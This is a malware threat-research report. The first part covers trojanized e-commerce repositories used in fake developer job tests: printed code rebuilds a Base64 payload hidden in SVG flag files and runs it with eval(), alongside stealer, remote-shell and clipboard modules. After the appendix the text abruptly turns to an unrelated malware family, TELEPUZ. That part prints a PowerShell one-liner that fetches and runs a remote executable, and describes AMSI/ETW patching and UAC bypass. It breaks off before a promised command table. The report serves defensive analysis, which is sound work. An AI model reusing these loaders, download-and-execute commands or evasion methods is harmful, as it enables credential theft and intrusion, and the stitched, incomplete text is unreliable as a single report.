This investigation started differently from most of our previous research. Instead of using telemetry to surface interesting threats, we were alerted to suspicious activity targeting members of our community Slack workspace with socially engineered, ad hoc job offers. For background, we use the community Slack platform to engage with and solve problems for our users, focusing on providing product support and syncing on new updates.

We’ve reported on this technique several times: threat actors targeting developers in open forums with lures of coding side-work. The lucrative offers lead to the requirement to load specific libraries, tools, scripts, etc., into the code the developer is crafting. These components are created by the threat actors and once they’re executed by the developers, they are able to load additional malware and gain remote access to the developer host. From there, the threat actors can steal credentials, keys, wallets, or use the access to gain access to additional systems. We did not find evidence that the lures were targeted at Elastic users specifically, but any open forum where developers congregate is a potential watering hole.

On May 26, 2026, a user named Maxwell posted in our #jobs channel, stating that they were upgrading an e-commerce platform and were looking for an experienced developer to help with the project. They strategically moved their interactions with interested users into direct messages (DM).

In these direct messages, Maxwell requested that users perform a test challenge as part of the job offer. These recipients were given a trojanized repository that, when executed, contained malware that exfiltrated sensitive files and credentials and configured a Socket.IO backdoor.

Building on this initial case, we found multiple campaigns exhibiting the same underlying behavior. These trojanized repositories at the time of writing have zero detections and are not flagged by any AV vendors:

• next-ecommerce-private-main.zip
• shopping-platform-main.zip
• ecommerce-platform.zip
• ecommerce-platform-main.zip
• shopping-platform.rar
• shop-main.zip
• ecommerce-main.zip

These fake challenges operate similarly, containing fully functional code. Our first sample was a Next.js e-commerce template that was copied from GreatStackDev called GoCart.

The threat actors tampered with this repository by inserting small snippets of malicious code at various points and using benign variable names to hide their intent. One of the major contributors to this scheme was their use of steganography in SVG images to hide chunks of the malware. While these legitimate-looking projects run perfectly fine, the malicious code is triggered silently behind-the-scenes.

The payloads are split into Base64 fragments inside HTML comments across every SVG flag image inside an assets directory. These files look like normal images of country flags (AE.svg, AF.svg), but each file contains an injected comment block with Base64-encoded data.

A JavaScript file in the repo (serverValidation.js) reassembles these chunks from every flag in alphabetical order to build the malicious payload.

function validation() {
  const dir = path.join(process.cwd(), "assets", "flags");
  const files = fs.readdirSync(dir)
    .filter(f => f.endsWith(".svg"))
    .sort((a, b) => a.localeCompare(b, "en")); 
  const parts = [];
  for (const f of files) {
    const raw = fs.readFileSync(path.join(dir, f), "utf8");
    const m = raw.match(/<!--\s*([\s\S]*?)\s*-->/);
    parts.push(m ? m[1].trim() : "");
  }
  return parts.join("");
}

The malware then decodes this data with a custom Base64-decoding function, Check(), and then uses eval(), avoiding simple detections that might trigger when using the Buffer.from method or the atob() function.

function runServerValidation() {
  try {
    eval(Check(validation()));  
  } catch (err) {}
}

On every server start, the file (server/index.js) calls runServerValidation() after the initial middleware setup. As defined in the project's package.json, both npm run dev and npm start launch server/index.js, so the payload executes on each server boot.

 "name": "gocart",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "concurrently -n client,server -c blue,green \"npm run dev:client\" \"npm run dev:server\"",
    "dev:client": "next dev --turbopack",
    "dev:server": "node server/index.js",
    "build": "next build",
    "start": "concurrently -n client,server -c blue,green \"next start\" \"node server/index.js\"",
    "lint": "next lint"
  },

Unfortunately, this kind of scam is working against developers. Some users have reported suspicious behavior after running the test challenges, while others have pushed these repos to GitHub unknowingly, not aware of the backdoored code.

Execution chain

DPRK attribution: why this links to Contagious Interview

Our team collected each trojanized repository, extracted the C2 servers, and analyzed each chain. The malicious payloads overlap with previous public reporting on DPRK/Contagious Interview, based on code similarity, behavior and related infrastructure.

The main payload in these repositories shares code similarity with the malware known as OTTERCOOKIE, first discovered by NTT Security in December 2024. Many of the strings, behavior, and script layout match those in previous publications, such as this blog post from Microsoft. While the malicious JavaScript code contains slightly different modifications, the underlying behaviors remain, with many matching strings.

The observed API endpoints in our samples also match recently linked infrastructure by the JFrog Security research team:

• /api/service/makelog
• /api/service/process/<uid>
• /cldbs
• /upload

Why do OTTERCOOKIE and BEAVERTAIL overlap in security research?

Analyzing this threat actor's activity is complicated by overlapping capabilities among related malware families. Their rapid evolution makes clean distinctions hard to maintain. Historically, BEAVERTAIL functioned as a first-stage stealer and downloader while OTTERCOOKIE served as a later-stage, C2-driven infostealer and RAT. Our observed samples reflect a convergence toward an all-in-one package that combines a Socket.IO-based RAT, a clipboard stealer, and a consolidated credential, wallet, and file stealer, with no Python stage present. On this basis, we lean toward using the OTTERCOOKIE naming convention, while noting that the boundary between the two is no longer clear.

Malware analysis

The following section will cover the technical analysis of the malware.

How obfuscator.io hides the malware's code

This JavaScript malware is protected by obfuscator.io, which uses various techniques to prevent static analysis, such as string array extraction with index-based lookups to hide strings, a self-rotating array for anti-tampering, and other toolmarks, such as an infinite loop using while (!![]).

const a0_0x33a083 = a0_0x1c05;
(function(_0x52f7cc, _0x4093b7) {
    const _0x388163 = a0_0x1c05, _0x27de29 = _0x52f7cc();
    while (!![])  {
        try {
            const _0x567e1 = parseInt(_0x388163(0x1cb))/0x1+-parseInt(_0x388163(0x160))/0x2 * ( - parseInt(_0x388163(0x135))/0x3)+parseInt(_0x388163(0x13e))/0x4 * ( - parseInt(_0x388163(0x141))/0x5)+parseInt(_0x388163(0x1d3))/0x6 +  - parseInt(_0x388163(0x1c9))/0x7*(-parseInt(_0x388163(0x184))/0x8) + parseInt(_0x388163(0x12f))/0x9*(-parseInt(_0x388163(0x1c6))/0xa) + parseInt(_0x388163(0x14f))/0xb*(-parseInt(_0x388163(0x16a))/0xc);

There are 4 main modules that get launched at the start of execution:

• Browser credential / crypto wallet stealer
• File stealer
• Socket.IO-based RAT
• Clipboard stealer / Windows PE dropper

How the browser credential and crypto wallet stealer module works

This first module exfiltrates browser-based credentials and crypto wallet extension data across Windows, macOS, and Linux platforms. This module sets its process title to npm-cache, masquerading as a benign npm caching process to avoid suspicion in Windows Task Manager or process listings. The malware detects the operating system at runtime, then enumerates the following browsers based on their file paths:

| Operating System | Paths | | ----- | ----- | | Windows | Chrome, Edge, LT Browser, Brave under %LOCALAPPDATA% | | macOS | Chrome, Brave, Opera, LT Browser, Edge under ~/Library/Application Support/ | | Linux | Chrome, Edge, LT Browser, Brave under ~/.config/ |

For each browser profile found, the malware exfiltrates saved credentials (Login Data), autofill data (Web Data), and cryptocurrency wallet extension databases (Local Extension Settings).

This data is submitted via multipart HTTP POST requests to the /upload endpoint on the domain ldb.rightwidth[.]dev using the User Agent axios/1.18.1.

Below is an example of the network request:

OTTERCOOKIE contains a hard-coded list of cryptocurrency wallet browser extension IDs. If a matching extension is found, the malware uploads the associated LevelDB stores to the C2 server via POST requests to the /cldbs endpoint of the domain (ldb.rightwidth[.]dev).

In our sample, the developer has added a prioritization check if the found extension path is in the first 8 targeted wallets. If so, these file paths receive special treatment: they are added to a monitored path array and trigger a separate workflow in which they are acknowledged by the C2 server and retried until successful. The remaining wallet extensions use a fire-and-forget approach with no acknowledgment or retries.

         if (wps["indexOf"](_0x280b81) < 0x8) {
            if (mp["indexOf"](_0xb30b7f) == -0x1) mp["push"](_0xb30b7f);
            const _0x109dd4 = await CLDBS(_0xb30b7f + "/ldb"),
              _0x505c6c = mp["indexOf"](_0xb30b7f);
            _0x109dd4 == "ok" && mp["splice"](_0x505c6c, 0x1);
          }

The list of 25 targeted browser extensions used by this module is in the Appendix.

For macOS machines, the system keychain database is also exfiltrated through this module.

(async () => {
  const _0xcb5337 = a0_0x4280ea;
  (os["platform"]() == "darwin" &&
    (await uf(process.env.HOME + "/Library/Keychains/login.keychain-db")),
    await run());
})();

What files this malware steals from developer machines

This module performs a recursive file sweep targeting various documents and files from developer machines. On Windows, this module is more aggressive and has a larger blast radius, while on macOS/Linux, drive enumeration is skipped and it only targets home directories.

Before scanning, the malware enumerates the mounted drives on the system using the following WMI query: wmic logicaldisk get name

Next, the malware scans each collected root drive from the previous wmic query or the home directories on other platforms, searching for the following files whose names match a set of glob patterns:

*.env*, *.doc, *.docx, *.pdf, *.md, *.rtf, *.odt, *.xls, *.xlsx, *.txt, *.pem, *.ini, *.secret, *.png, *.jpg, *.jpeg, *.webp, *.json, *.ts, *.js, .zsh_history, .bash_history, *.csv

In addition, any file whose path contains one of the following credential-store or shell-history locations is collected regardless of its extension:

.aws, .azure, .config, .ssh, .bash_history, .zsh_history

Ultimately, this file stealer targets sensitive information stored on developer machines, including credentials, configuration files, shell histories, documents, images, and source code.

If any of the file patterns get matched, the files are sent through POST requests to the /upload endpoint using the domain (upload.rightwidth[.]dev). The files themselves aren’t additionally encrypted or compressed by the malware when sent over the network.

Below is an example of a .txt exfiltrated through this module:

The following file extensions and file paths are excluded from this file exfiltration module. There is a deliberate scoping decision in which the threat actors seek to maximize their signal and minimize noise. The list also confirms that this group is in tune with the current developer ecosystem, avoiding AI coding tooling extensions such as .claude, .cursor, .gemini, or .windsurf.

"node_modules", "npm", "hooks", "android", "example", "AppData", "vendors", "vendor", "public", "css", "less", "scss", ".cache", ".conda", ".move", ".tldrc", ".android", ".avm", ".brownie", ".3T", ".node-gyp", ".gk", ".claude", ".cocoapods", ".conda", ".cursor", ".devctl", ".eigent", ".nvm", ".stream", ".steam", ".windsurf", ".gnupg", ".pm2", ".snipaste", ".vue-cli-ui", ".cursor", ".vscode-server", ".cargo", ".local", ".rustup", ".pub-cache", ".Trash", ".dll", ".dmg", ".exe", ".sh", ".bin", "module", ".map", ".jar", ".original", ".yml", ".yaml", "flutter", "llama", ".ppt", ".cl", ".psd", ".pak", ".pages", ".gemini", ".pearai", "extension", "media", ".key", ".var", ".sst", ".pkg", ".pack", ".msi", ".apk", ".aep", ".3mf", ".big", ".bundle", ".hpp", ".cdr", ".car", ".cfa", ".cab", ".mp4", ".wma", "DCIM", ".webm", ".dylib", ".nvm", ".sol", ".mp3", ".sys", ".avi", ".so", ".sqlite", ".dat", ".jar", "anaconda3", ".yarn", "build", ".next", ".git", ".gitignore", ".github", "cache", "tmp", "temp", "dist", "library", "lib", "mysql", "imgs", "img", "images", "image", "plugin", "plugin", ".vscode", "package-lock.json", ".pyp", ".myi", ".rustup", ".docker", "manifest", ".expo", "AppData", "windows.old", "pkg", "package", "packages", "openzeppelin", "prisma", "pkgs", "fonts", "debug", "background", "wallpaper", "_locales", "locale", "locales", "Program\x20Files", "Program Files (x86)", "ProgramData", "All Users", "All User", "Windows", "Microsoft", "$RECYCLE.BIN", "Visual Studio Code.app",

Socket.IO-based RAT

This third stage establishes a persistent Socket.IO command-and-control channel to the domain (controller.rightwidth[.]dev) over HTTPS. The malware ensures only one instance runs by enforcing a PID lock by writing its own process ID to a lock file in the user’s directory (C:\Users\jim\.npm\vhost.ctl).

The malware includes VM/sandbox detections for the different platforms. If there is a match, the malware places a tag in the C2 response with (VM) but does not stop or prevent it from running. This is likely used as a filtering mechanism to prioritize real victim machines over sandboxes/VMs.

The following table defines the VM detection mechanisms for each platform:

| Operating System | Query | String Check | | :---- | :---- | :---- | | Windows | Retrieves system details using the WMIC command: wmic computersystem get model,manufacturer | vmware, virtualbox, qemu, microsoft corporation | | macOS | Retrieves the system details using the command: system_profiler SPHardwareDataType | /vmware\|virtualbox\|qemu\|parallels\|virtual/ | | Linux | Reads system details using /proc/cpuinfo | /hypervisor\|vmware\|virtualbox\|qemu\|kvm\|xen\|parallels\|bochs\/i |

A registration beacon is sent to the domain (controller.rightwidth[.]dev) using endpoint /api/service/process/<uid>. This includes the system host information, letting the threat actor know a new victim has been added.

The malware uses a logging channel (/api/service/makelog), which keeps the operator informed of the implant’s health and any errors.

The operator sends a command event containing a shell command, which the implant executes via child_process.exec() and returns the output as a message event over the same Socket.IO connection. This gives the operator interactive shell access to the victim machine in real time. Below is an example response from a victim machine running whoami:

Clipboard stealer and Windows payload dropper

The fourth module contains two separate capabilities: Windows dropper functionality and a clipboard stealer.

The dropper component is Windows-only and downloads three second-stage binaries via curl from file.rightwidth[.]dev, each disguised as a .txt file, then renamed to .exe before execution. The C2 server was unavailable at the time of analysis, so the payloads could not be retrieved. Based on their naming convention, they may relate to additional discovery or enumeration capabilities, but this is unconfirmed.

• hostService.txt -> hostService.exe
• printSvc.txt -> printSvc.exe
• dhcpSvc.txt -> dhcpSvc.exe

The clipboard functionality is only available on macOS and Windows. The malware polls every 500ms for new clipboard content, exfiltrating any changes to the C2 server (rightwidth[.]dev) via POST requests using endpoint (/api/service/makelog/).

For macOS devices, pbpaste is used to retrieve the clipboard contents from victim machines.

const getClipboard = async () => {
    try {
        if (os.platform() === "darwin") {
            return execSync("pbpaste", { encoding: "utf8" }).trim();
        }
        if (os.platform() === "win32") {
            return execSync("powershell -NoProfile -NonInteractive Get-Clipboard", {
                encoding:    "utf8",
                windowsHide: true,
            }).trim();
        }
        // Linux: no implementation — returns null every poll, loop is a no-op
        return null;
    } catch (_) {
        return null;
    }
};

On Windows, a new PowerShell process is spawned every 500ms via Get-Clipboard to retrieve the current clipboard contents. Below is an example process tree showing the clipboard module in action:

Conclusion

Developers remain a high-value target, with campaigns like these likely seeking to establish an initial foothold that can ultimately enable larger supply chain compromises. The success of these operations underscores how compromising an individual developer can provide a path to much broader organizational impact.

By sharing our findings, we hope to help organizations and developers recognize these tactics earlier, identify similar activity in their own environments, and take action before an initial compromise escalates into a wider intrusion.

Contagious Interview malware: MITRE ATT&CK techniques and tactics

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Credential Access
• Discovery
• Execution
• Exfiltration
• Initial Access

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Application Layer Protocol: Web Protocols
• Clipboard Data
• Credentials from Password Stores
• Data from Local System
• Data Obfuscation: Steganography
• Exfiltration Over C2 Channel
• File and Directory Discovery
• System Information Discovery

How to detect and prevent this Contagious Interview malware campaign

Detection and prevention rules

• Web Browser Credential Access via Scripting Utility
• Ingress Tool Transfer via CURL
• Potential File Transfer via Curl for Windows

Observables

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | :---- | :---- | :---- | :---- | | 8e571d58794b9b44ae53c2c67bedef72c500e8adbb80aab7a5c263adcba55b1e | SHA-256 | ecommerce-main.zip | Trojanized repository | | 3e6360f83a95540aa2176d279ca4694513afb1e5116a7ffe591c6b5bcf3b9c3c | SHA-256 | next-ecommerce-private-main.zip | Trojanized repository | | 4e7639045b4a64de60bfb6312951a5c3dffbd3fb04b84837663242ed27f09864 | SHA-256 | shopping-platform-main.zip | Trojanized repository | | 54bf36910d81ab516037cb3d69d7c85190f90aa0da9e58617799c1fc738dc5a9 | SHA-256 | ecommerce-platform.zip | Trojanized repository | | 96357529d17c4690826d5d4c74deac51743a5388733b3f04004d898f0635ef20 | SHA-256 | shop-main.zip | Trojanized repository | | 9df01d242ef46adfedf8c35cb7cc67b1d27d7dc4a1ce74ab32e984090d579886 | SHA-256 | ecommerce-platform-main.zip | Trojanized repository | | c5aed4c063d4970a03250778da8041da9e0c83d8f22d2f1994da0ad72567ebd9 | SHA-256 | shopping-platform.rar | Trojanized repository | | cc97517f80f567977300450de11e9a0be53f52657525a20b1091c99fe9e45730 | SHA-256 | shopping-platform.rar | Trojanized repository | | fb94b2caee2c40635448a98ba0118421e19a400e74ccff73315f8fa42351f53f | SHA-256 | shop-main.zip | Trojanized repository | | rightwidth[.]dev | domain-name | | OTTERCOOKIE C2 Server | | ldb.rightwidth[.]dev | domain-name | | Browser and wallet stealer C2 | | upload.rightwidth[.]dev | domain-name | | File stealer upload C2 | | controller.rightwidth[.]dev | domain-name | | Socket.IO RAT C2 | | file.rightwidth[.]dev | domain-name | | Windows second-stage download host | | 195.26.248[.]212 | ipv4 | | OTTERCOOKIE C2 Server | | 188.40.64[.]61 | ipv4 | | OTTERCOOKIE C2 Server |

References

The following were referenced throughout the above research:

• Contagious Interview malware delivered through fake developer job interviews (Microsoft)
• OTTERCOOKIE Contagious Interview analysis (NTT Security)
• Rollup polyfill masquerading infrastructure (JFrog Security)

Appendix: targeted cryptocurrency wallet extension IDs

| Extension ID | Wallet | | :---- | :---- | | nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask Wallet | | acmacodkjbdgmoleebolmdjonilkdbch | Rabby Wallet | | bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom Wallet | | dmkamcknogkgcdfhhbddcghachkejeap | Keplr | | ejbalbakoplchlghecdalmeeeajnimhm | MetaMask (Edge) | | ppbibelpcjmhbdihakflkdcoccbgbkpo | UniSat Wallet | | egjidjbpglichdcondbcbdnbeeppgdph | Trust Wallet | | ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink Wallet | | bhhhlbepdkbapadjdnnojkbgioiodbic | Solflare Wallet | | omaabbefbmiijedngplfjmnooppbclkk | Tonkeeper | | khpkpbbcccdmmclmpigdgddabeilkdpd | Sui Wallet | | fhbohimaelbohpjbbldcngcnapndodjp | BNB Chain Wallet (Binance) | | aeachknmefphepccionboohckonoeemg | Coin98 | | hifafgmccdpekplomjjkcfgodnhcellj | Crypto.com Wallet | | jblndlipeogpafnldhgmapagcccfchpi | Kaia Wallet | | dlcobpjiigpikoobohmabehhmhfoodbb | Ready Wallet | | mcohilncbfahbmgdjkbpemcciiolgcge | OKX Wallet | | agoakfejjabomempkjlepdflaleeobhb | Core Wallet | | aholpfdialjgjfhomihkjbmgjidlcdno | Exodus Web3 Wallet | | nphplpgoakhhjchkkhmiggakijnkhfnd | TON Wallet | | penjlddjkjgpnkllboccdgccekpkcbin | OpenMask (TON) | | lgmpcpglpngdoalbgeoldeajfclnhafa | SafePal Wallet | | fldfpgipfncgndfolcbkdeeknbbbnhcc | My TON Wallet | | gjnckgkfmgmibbkoficdidcljeaaaheg | Atomic Wallet | | afbcbjpbpfadlkmhmclhkeeodmamcflc | MathWallet |

Key takeaways

• Full-featured malware, modular, fast evolving
• Possible new MaaS, spreading fast
• Currently low number of C2 domains
• Stagers, main payload, and additional modules; uses WebSockets for communication.
• Observed delivered via a CLICKFIX-VIDAR campaign.

TELEPUZ infection chain via CLICKFIX-VIDAR

The infection chain begins with a ClickFix social engineering infection, in which the user visits a malicious web page and is prompted to copy and paste, then execute, a Windows shell command to access the page's content.

C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -w h -ep bypass -c \
"$h='memsho'+'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php?a=grab';\
$f=$env:TEMP+'\'+$n;[Net.WebClient]::new().('Down'+'loadFile')($u,$f);\
ri($f+':Zone.Identifier')-EA 0;& $f

The command downloads the second stage from the URL hxxps://memshowblob[.]forum/api/index.php?a=grab and executes the binary in the user's %TEMP% folder.

The second stage is a VIDAR Go variant (580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954). VIDAR is a well-documented threat known for its ability to download and deploy secondary payloads. In this campaign, we observed it downloading and executing two additional components: the TELEPUZ stager (install.exe) and the main binary (telepuz.dll), both of which were retrieved from the hurgadatour[.]shop domain.

The telemetriawork part in the second-stage domain URL is a significant marker for this family; searching for this name on VirusTotal yields a large number of stagers and payloads associated with this family.

The third stage (03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746) is a small PE, roughly 13–15 KB in size, designed to download and execute the main payload. After downloading the DLL, the stager installs it in the configured install folder and execute it using rundll32 with the specified export name. These stagers share the same obfuscation mechanism as the main payload, which we will analyze in the following chapter, effectively linking them to the same family.

TELEPUZ technical analysis and internals

The reference sample is 58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed

The main payload is a 64-bit Windows shared library with one or two exports, whose names are systematically chosen to disguise the library as legitimate software. The malware is written in C, likely by hand, lightweight, modular, and the code quality is correct. The malware contains sparse memory allocations, little middleware, and some features still under development. These elements indicate that the project is led either by a solo developer or a very small team, and that coding is their core business. Given the significant number of builds uploaded to VirusTotal daily, it is likely that we are dealing with a MaaS.

Our sample contains the following exports:

TELEPUZ obfuscation techniques

Garbage instructions

The malware interleaves its actual code with “garbage instructions,” which have no functional purpose and are intended to slow down reverse engineering. However, some of these instructions are built to produce side effects, such as updating global variables or invoking Windows APIs, likely to ensure they are not optimized away by either the compiler or the disassembler as dead code. Fortunately, the IDA Pro decompiler does a good job at optimizing them, reducing the amount of clutter and rendering this obfuscation method largely ineffective.

Import hashing

TELEPUZ employs standard module and import name hashing to resolve its imports, which are dynamically loaded upon each invocation.

The hashing algorithm is described below:

def hash_module_name_wide(name):
    h = 0x97C2CA4B
    for c in name:
        b = ord(c) & 0xFF
        if 0x41 <= b <= 0x5A:
            b += 0x20
        h = ((h << 0x15) | (h >> 0x0B)) & 0xFFFFFFFF
        h = (h - b) & 0xFFFFFFFF
        h = (0x48076BB1 * h - 0x4767A3AB) & 0xFFFFFFFF
    return h

String encryption

TELEPUZ decrypts strings using a custom RC4 implementation, using constants that vary between samples. We developed an IDA script that uses the debugger's Appcall feature to instrument the decryption function and recover all strings. The IDA script is available here.

Indirect syscalls

TELEPUZ employs indirect syscalls for several of its activities. To initialize its indirect syscall engine, the malware maps a fresh copy of ntdll.dll into memory using ReadFile. It then iterates through the export table to identify specific functions, parsing their syscall number from their instructions.

Once the syscall numbers are collected, TELEPUZ generates “trampoline” stubs consisting of the syscall prelude followed by a jump to the address of a syscall;retn gadget.

Finally, the malware selects a random library from a set of standard libraries (dfscli.dll, davhlpr.dll, msdtclog.dll, dsrole.dll, and secur32.dll) and loads it via LoadLibrary. It then patches the library's .text section with the previously generated trampolines, so indirect syscalls are now executed from this location.

TELEPUZ execution flow and persistence installation

The malware's execution begins with its DllMain. The goal of this initial stage is to re-execute the malware using rundll32.exe with the appropriate export name, provided the current process is not already running as svchost.exe or rundll32.exe.

During the second execution, the ServiceRoutine export is triggered. This function serves as the primary malware entry point, responsible for installing persistence, initializing the indirect syscall engine, performing anti-VM and anti-debugger checks, elevating its privileges, installing itself as a service and finally initiating the C2 communication loop.

Upon execution, the malware first verifies if it is running from the %TEMP% folder. If so, it migrates to the designated persistence directory, which is distinct from the installation folder. While the stager typically handles writing the payload to the installation directory, the malware includes a fallback mechanism to copy itself to an %AppData% directory if this step has not yet been performed, re-run it from there and delete the current sample.

Next, the malware creates the mutex cfgmgr_mtx if it does not already exist. It then performs anti-VM and geolocation checks by verifying hardware constraints, such as whether the system has fewer than two CPUs, less than 2GB of memory, or insufficient disk space, and ensuring the system's locale identifier (LCID) is not among a hardcoded list of Commonwealth of Independent States (CIS) countries.

| LCID | Language | Country | | :---- | :---- | :---- | | 0x422 | Ukrainian | Ukraine | | 0x423 | Belarusian | Belarus | | 0x42B | Armenian | Armenia | | 0x42C | Azerbaijani | Azerbaijan | | 0x428 | Tajik | Tajikistan | | 0x437 | Georgian | Georgia | | 0x43F | Kazakh | Kazakhstan | | 0x440 | Kyrgyz | Kyrgyzstan | | 0x442 | Turkmen | Turkmenistan | | 0x443 | Uzbek | Uzbekistan | | 0x818 | Romanian | Moldova |

The malware subsequently compares the current username and computer name against a hardcoded list of common sandbox and malware research identifiers.

Usernames
sandbox, malware, virus, test, sample, cuckoo, bruno, jz, dekker, abby, wilbert, johnson, miller, harddisk, currentuser, john, tim, sand box, maltest, pjones, fred

Computer names
sandbox, virus, malware, tequilaboomboom, hal9th, john-pc, mueller-pc, hanspeter-pc, 7silvia, fortinet, wasp, mars, desk-ivruuh4y14, COMPUTERNAME

Finally, the malware compares the display device name against a list of known hypervisor identifiers.

If the malware identifies a virtualized environment or an unauthorized geographic location, it terminates execution immediately. Otherwise, it proceeds to initialize the indirect syscall engine and executes a series of evasion routines: NTDLL unhooking, AMSI and ETW patching, and the removal of DllNotification callbacks, to disable security monitoring.

To unhook NTDLL, TELEPUZ maps a fresh copy of the library using NtMapViewOfSection. It then compares the loaded exports against this clean copy, restoring any patched bytes. For AMSI evasion, it patches the AmsiScanBuffer function with ”mov eax, 0x80070057; retn, forcing the function to return E_INVALIDARG to the caller. Finally, to disable ETW, it patches EtwEventWrite, NtTraceEvent, and NtTraceEventControl with ”xor eax, eax; retn instructions, effectively forcing these functions to return zero.

To remove third party DllNotification callbacks, the malware registers a dummy function via LdrRegisterDllNotification to obtain a cookie. It then uses the resulting opaque structure to iterate through the linked list of registered callbacks, verifying whether each resides within a legitimate Windows library. If not it removes it.

Following the evasion routines, the malware initiates debugger detection. It utilizes NtQueryInformationProcess to inspect ProcessDebugPort, ProcessDebugFlags, and ProcessDebugObjectHandle. It then employs NtGetContextThread to verify if hardware breakpoints (DR0–DR7) are enabled. To further thwart analysis, it calls NtSetInformationThread with the ThreadHideFromDebugger flag and NtClose with 0xDEADBEEF to cause a debugger crash.

Finally, the malware retrieves the parent process ID and verifies the parent process name against a list of known runners, such as rundll32.exe and svchost.exe.

The detection sequence concludes by inspecting the PEB.BeingDebugged flag. If a debugger is identified, the malware calls the Sleep function with an INFINITE parameter.

Once the debugger detection sequence completes, the malware generates a unique session id/victim identifier. This identifier is derived by combining the hardware serial number, the computer name, and the operating system's installation date. The generation algorithm is detailed below.

FNV1_SEED = 0x811C9DC5
FNV1_PRIME = 0x01000193
ROR27_SEED = 0xA1B39854
GOLDEN_RATIO = 0x61C88647


def fnv1_32(data: bytes, h: int = FNV1_SEED) -> int:
    for b in data:
        h = (FNV1_PRIME * (h ^ b)) & 0xFFFFFFFF
    return h


def ror27_sub(data: bytes, h: int = ROR27_SEED) -> int:
    for b in data:
        v = (b ^ h) & 0xFFFFFFFF
        h = (((v >> 0x1B) | (v << 0x05)) - GOLDEN_RATIO) & 0xFFFFFFFF
    return h


def generate_session_id(computer_name: bytes, volume_serial: bytes, install_date: bytes) -> str:
    data = computer_name + volume_serial + install_date
    return "%08x%08x" % (fnv1_32(data), ror27_sub(data))

Following successful session identification, the malware spawns two concurrent threads: one dedicated to elevate itself and install the malware as a service, and the other to initiate the C2 communication loop. The installation thread starts by elevating itself as Admin using the COM elevation moniker technique. This technique involves creating an elevated COM object and using its ShellExecute method to spawn another elevated instance of the sample, thereby successfully bypassing UAC. A full implementation of this technique is available here.

We identified an alternative UAC bypass using AppInfo ALPC and DebugObjects. The malware first launches a non-elevated winver.exe in debug mode via RAicLaunchAdminProcess to capture its debug object handle. It then launches an auto-elevated computerdefault.exe in debug mode and attaches the captured handle using DbgUiSetThreadDebugObject. This grants the malware full access to the elevated process, allowing it to spawn rundll32.exe and execute itself with elevated privileges. A full implementation of this technique is available here.

Upon achieving elevation and depending on the configuration TELEPUZ next tries to get SYSTEM privilege by stealing the token of the first found process with one of the following names: spoolsv.exe, msdtc.exe, WmiPrvSE.exe, svchost.exe. Next it registers itself as a service by creating the necessary registry keys to instruct Windows to load the malware within a new svchost.exe instance. The malware again tries to masquerade as legitimate software with the service name CipherAllocator.

The second thread manages the C2 communication loop, handling command reception, execution, and data exfiltration. Communication protocols and command structures are detailed in the following sections.

TELEPUZ C2 communication

TELEPUZ's configuration contains a single C2 domain, which is initialized just before the generation of the session identifier.

In the communication thread, the sample attempts to establish contact with its C2 up to 10 times, if it fails, it attempts to retrieve a fallback C2 address using 4 different methods.

These fallback methods access public resources to retrieve new C2 URLs, allowing operators to update addresses if the primary URL fails. We identified the following methods:

Telegram method
TELEPUZ accesses the Telegram profile ”t[.]me/chanadarkpart, which contains the encrypted fallback URL.

The data is XOR-encrypted using the hardcoded key ”Goodman, the Steam profile and DNS record methods utilize this same encryption scheme. Decryption reveals the current C2 server at cal.snehamumbai[.]org. Examination of the channel messages indicates the channel was created in late April 2026.

Steam Profile
The second method is based on Steam profile usernames, the profile the malware is targeting is hxxps://steamcommunity[.]com//profiles/76561199705801219.

The profile name contains the same C2 address found in the Telegram channel. The profile's name history reveals both the C2 domain configured in the malware (cal.joycedoula[.]com[.]br) and this one again but encrypted with the key 111111111.

DNS record
The DNS record method does a DNS query for the domain codebasecode[.]com, it then extracts and decrypts the fallback C2 from the information returned. However so far we haven’t found any record associated with this domain.

Polygon blockchain
TELEPUZ initiates a JsonRPC HTTP POST request to the Polygon blockchain using pre-configured endpoints, targeting the smart contract address 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E with the method selector 0xc3f909d4.

{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E","data":"0xc3f909d4"},"latest"]}

From the returned result TELEPUZ parses the encrypted data and decrypt it using AES256-CBC with the key ”cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9.

h=cal.snehamumbai[.]org|p=443|ssl=1

The smart contract also acts as a kill switch mechanism; if the returned result is fewer than 10 bytes, the malware calls ExitThread.

A review of the smart contract address on a blockchain explorer reveals when the contract got created and recent activity at the time of writing.

Once the C2 is resolved, it establishes communication using WebSockets with optional TLS. The WebSocket URL is /cdn/health?sid=, where the sid parameter is the session ID/victim identifier previously generated. Rather than using standard internet libraries, it manually establishes the connection via a TCP socket with hardcoded HTTP headers, and then uses the WebSocket protocol to communicate with the C2 server.

If TLS is enabled, the malware establishes the tunnel using the Secure Channel (SChannel) provided by the Windows Security Support Provider (SSP). To perform the handshake, it uses the InitializeSecurityContextA function in a loop. In each iteration, it generates TLS data to send to the C2, receives the server's response, and feeds that response back into the same function to generate the subsequent handshake data.

Once the WebSocket connection is established, the malware utilizes a simple JSON-based protocol. We implemented a very simple flask-sock server to receive the beacon data.

TELEPUZ commands and capabilities

TELEPUZ receives commands from its C2 server either as plain text or as a hash. If a command is received as text, the malware computes its corresponding hash locally. The hashing algorithm is described below:

def hash_command_name(name):
    h = 0x1505
    for c in name:
        h = (ord(c) ^ (0x21 * h)) & 0xFFFFFFFF
    return h

The malware currently has 36 commands, they are described in the table below:

